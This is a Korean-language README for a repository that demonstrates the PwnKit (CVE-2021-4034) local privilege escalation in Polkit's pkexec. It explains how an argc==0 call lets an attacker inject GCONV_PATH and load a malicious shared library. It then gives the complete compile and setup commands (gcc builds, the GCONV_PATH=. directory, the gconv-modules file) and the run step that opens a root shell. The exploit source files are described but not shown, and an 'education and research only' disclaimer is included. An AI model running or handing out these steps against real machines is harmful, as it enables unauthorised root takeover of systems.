
이 저장소는 CVE-2021-4034 취약점을 악용하는 방법을 보여줍니다.
이 저장소는 pkexec (Polkit 패키지의 일부)에서 발견된 취약점 CVE-2021-4034 (일명 PwnKit)의 익스플로잇을 시연하는 소스 코드를 포함합니다. 이 결함은 악의적인 환경 변수를 사용하여 로컬 권한 상승을 통해 root 권한을 획득할 수 있게 합니다.
이 코드는 교육 및 연구 목적으로만 제공됩니다. 프로덕션 시스템이나 명시적 허가 없이 사용해서는 안 됩니다. 오용은 불법일 수 있으며 작성자의 사용 약관에 위배됩니다.
취약점은 pkexec가 인수 없이 실행될 때 발생합니다. 즉, argc == 0인 경우입니다. 이 경우 pkexec는 argv[0]의 존재를 확인하지 않고 argv[1]에 접근하려고 시도하여 envp[0]에서 읽게 됩니다. 이를 통해 공격자는:
GCONV_PATH와 같은 환경 변수를 읽고 덮어쓸 수 있습니다..so 라이브러리를 강제로 로드하여 root 권한으로 코드를 실행할 수 있습니다.익스플로잇은 이 조건을 활용하여 root 사용자로 셸을 여는 악성 라이브러리를 로드합니다.
cve-2021-4034.c: argv[] = {NULL} 및 수정된 환경 변수로 pkexec를 호출하는 익스플로잇 소스 코드.pwnkit.c: root로 셸을 여는 악성 라이브러리 소스 코드.gcc -Wall -o cve-2021-4034 cve-2021-4034.c
gcc -Wall -shared -fPIC -o pwnkit.so pwnkit.c
mkdir GCONV_PATH=.
echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules
cp $(which true) GCONV_PATH=./pwnkit.so:.
./cve-2021-4034